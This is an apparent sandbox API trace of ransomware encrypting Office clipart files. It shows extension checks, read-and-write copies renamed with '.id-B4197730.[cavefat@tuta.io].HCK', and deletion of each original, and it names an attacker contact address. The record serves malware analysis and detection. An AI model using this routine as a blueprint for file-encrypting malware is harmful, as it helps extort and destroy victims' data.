[0243.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0243.140] lstrlenW (lpString=".dbf") returned 4 [0243.140] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0243.140] lstrlenW (lpString=".1cd") returned 4 [0243.140] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0243.140] lstrlenW (lpString=".jpg") returned 4 [0243.140] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.140] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0243.140] lstrlenW (lpString="J0187893.WMF") returned 12 [0243.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0243.283] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=5620) returned 1 [0243.283] CloseHandle (hObject=0x3bc) returned 1 [0243.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf")) returned 0x220 [0243.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0244.036] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.036] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0244.118] GetLastError () returned 0x0 [0244.118] ReadFile (in: hFile=0x4a4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x15f4, lpOverlapped=0x0) returned 1 [0244.119] WriteFile (in: hFile=0x3fc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x1600, lpOverlapped=0x0) returned 1 [0244.121] ReadFile (in: hFile=0x4a4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.122] WriteFile (in: hFile=0x3fc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.122] SetEndOfFile (hFile=0x3fc) returned 1 [0244.122] CloseHandle (hObject=0x3fc) returned 1 [0244.122] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.122] SetEndOfFile (hFile=0x4a4) returned 1 [0244.124] CloseHandle (hObject=0x4a4) returned 1 [0244.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.125] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf")) returned 1 [0244.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0244.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0244.126] lstrlenW (lpString=".doc") returned 4 [0244.126] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.126] lstrlenW (lpString=".docx") returned 5 [0244.126] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0244.126] lstrlenW (lpString=".pdf") returned 4 [0244.126] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.126] lstrlenW (lpString=".xls") returned 4 [0244.126] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.126] lstrlenW (lpString=".xlsx") returned 5 [0244.126] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0244.126] lstrlenW (lpString=".ppt") returned 4 [0244.126] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0244.126] lstrlenW (lpString=".zip") returned 4 [0244.126] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.126] lstrlenW (lpString=".rar") returned 4 [0244.126] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.126] lstrlenW (lpString=".bz2") returned 4 [0244.126] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.126] lstrlenW (lpString=".7z") returned 3 [0244.126] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0244.126] lstrlenW (lpString=".dbf") returned 4 [0244.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0244.127] lstrlenW (lpString=".1cd") returned 4 [0244.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0244.127] lstrlenW (lpString=".jpg") returned 4 [0244.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0244.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0244.127] lstrlenW (lpString=".doc") returned 4 [0244.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.127] lstrlenW (lpString=".docx") returned 5 [0244.127] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0244.127] lstrlenW (lpString=".pdf") returned 4 [0244.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.127] lstrlenW (lpString=".xls") returned 4 [0244.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.127] lstrlenW (lpString=".xlsx") returned 5 [0244.127] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0244.127] lstrlenW (lpString=".ppt") returned 4 [0244.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0244.127] lstrlenW (lpString=".zip") returned 4 [0244.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.127] lstrlenW (lpString=".rar") returned 4 [0244.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.127] lstrlenW (lpString=".bz2") returned 4 [0244.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.127] lstrlenW (lpString=".7z") returned 3 [0244.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0244.127] lstrlenW (lpString=".dbf") returned 4 [0244.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0244.127] lstrlenW (lpString=".1cd") returned 4 [0244.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0244.127] lstrlenW (lpString=".jpg") returned 4 [0244.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.128] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0244.128] lstrlenW (lpString="J0188667.WMF") returned 12 [0244.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0244.129] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=16030) returned 1 [0244.129] CloseHandle (hObject=0x4a4) returned 1 [0244.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf")) returned 0x220 [0244.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0244.130] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.130] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0244.131] GetLastError () returned 0x0 [0244.131] ReadFile (in: hFile=0x4a4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x3e9e, lpOverlapped=0x0) returned 1 [0244.132] WriteFile (in: hFile=0x3fc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x3ea0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x3ea0, lpOverlapped=0x0) returned 1 [0244.133] ReadFile (in: hFile=0x4a4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.133] WriteFile (in: hFile=0x3fc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.133] SetEndOfFile (hFile=0x3fc) returned 1 [0244.133] CloseHandle (hObject=0x3fc) returned 1 [0244.133] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.133] SetEndOfFile (hFile=0x4a4) returned 1 [0244.135] CloseHandle (hObject=0x4a4) returned 1 [0244.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.136] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf")) returned 1 [0244.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0244.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0244.137] lstrlenW (lpString=".doc") returned 4 [0244.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.137] lstrlenW (lpString=".docx") returned 5 [0244.137] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0244.137] lstrlenW (lpString=".pdf") returned 4 [0244.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.137] lstrlenW (lpString=".xls") returned 4 [0244.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.137] lstrlenW (lpString=".xlsx") returned 5 [0244.137] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0244.137] lstrlenW (lpString=".ppt") returned 4 [0244.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0244.137] lstrlenW (lpString=".zip") returned 4 [0244.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.137] lstrlenW (lpString=".rar") returned 4 [0244.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.137] lstrlenW (lpString=".bz2") returned 4 [0244.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.137] lstrlenW (lpString=".7z") returned 3 [0244.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0244.137] lstrlenW (lpString=".dbf") returned 4 [0244.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0244.137] lstrlenW (lpString=".1cd") returned 4 [0244.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0244.137] lstrlenW (lpString=".jpg") returned 4 [0244.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0244.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0244.137] lstrlenW (lpString=".doc") returned 4 [0244.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.137] lstrlenW (lpString=".docx") returned 5 [0244.137] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0244.137] lstrlenW (lpString=".pdf") returned 4 [0244.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.137] lstrlenW (lpString=".xls") returned 4 [0244.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.137] lstrlenW (lpString=".xlsx") returned 5 [0244.137] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0244.138] lstrlenW (lpString=".ppt") returned 4 [0244.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0244.138] lstrlenW (lpString=".zip") returned 4 [0244.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.138] lstrlenW (lpString=".rar") returned 4 [0244.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.138] lstrlenW (lpString=".bz2") returned 4 [0244.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.138] lstrlenW (lpString=".7z") returned 3 [0244.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0244.138] lstrlenW (lpString=".dbf") returned 4 [0244.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0244.138] lstrlenW (lpString=".1cd") returned 4 [0244.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68 [0244.138] lstrlenW (lpString=".jpg") returned 4 [0244.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.138] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0244.138] lstrlenW (lpString="J0188669.WMF") returned 12 [0244.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0244.139] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=29602) returned 1 [0244.139] CloseHandle (hObject=0x4a4) returned 1 [0244.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf")) returned 0x220 [0244.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0244.140] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.140] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0244.141] GetLastError () returned 0x0 [0244.141] ReadFile (in: hFile=0x4a4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x73a2, lpOverlapped=0x0) returned 1 [0244.143] WriteFile (in: hFile=0x3fc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x73b0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x73b0, lpOverlapped=0x0) returned 1 [0244.144] ReadFile (in: hFile=0x4a4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.144] WriteFile (in: hFile=0x3fc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.144] SetEndOfFile (hFile=0x3fc) returned 1 [0244.144] CloseHandle (hObject=0x3fc) returned 1 [0244.144] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.144] SetEndOfFile (hFile=0x4a4) returned 1 [0244.146] CloseHandle (hObject=0x4a4) returned 1 [0244.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.146] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf")) returned 1 [0244.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0244.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0244.147] lstrlenW (lpString=".doc") returned 4 [0244.147] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.148] lstrlenW (lpString=".docx") returned 5 [0244.148] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0244.148] lstrlenW (lpString=".pdf") returned 4 [0244.148] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.148] lstrlenW (lpString=".xls") returned 4 [0244.148] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.148] lstrlenW (lpString=".xlsx") returned 5 [0244.148] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0244.148] lstrlenW (lpString=".ppt") returned 4 [0244.148] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0244.148] lstrlenW (lpString=".zip") returned 4 [0244.148] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.148] lstrlenW (lpString=".rar") returned 4 [0244.148] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.148] lstrlenW (lpString=".bz2") returned 4 [0244.148] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.148] lstrlenW (lpString=".7z") returned 3 [0244.148] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0244.148] lstrlenW (lpString=".dbf") returned 4 [0244.148] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0244.148] lstrlenW (lpString=".1cd") returned 4 [0244.148] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0244.148] lstrlenW (lpString=".jpg") returned 4 [0244.148] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0244.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0244.148] lstrlenW (lpString=".doc") returned 4 [0244.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.148] lstrlenW (lpString=".docx") returned 5 [0244.148] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0244.148] lstrlenW (lpString=".pdf") returned 4 [0244.148] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.148] lstrlenW (lpString=".xls") returned 4 [0244.148] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.148] lstrlenW (lpString=".xlsx") returned 5 [0244.148] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0244.148] lstrlenW (lpString=".ppt") returned 4 [0244.148] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0244.149] lstrlenW (lpString=".zip") returned 4 [0244.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.149] lstrlenW (lpString=".rar") returned 4 [0244.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.149] lstrlenW (lpString=".bz2") returned 4 [0244.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.149] lstrlenW (lpString=".7z") returned 3 [0244.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0244.149] lstrlenW (lpString=".dbf") returned 4 [0244.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0244.149] lstrlenW (lpString=".1cd") returned 4 [0244.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.149] lstrlenW 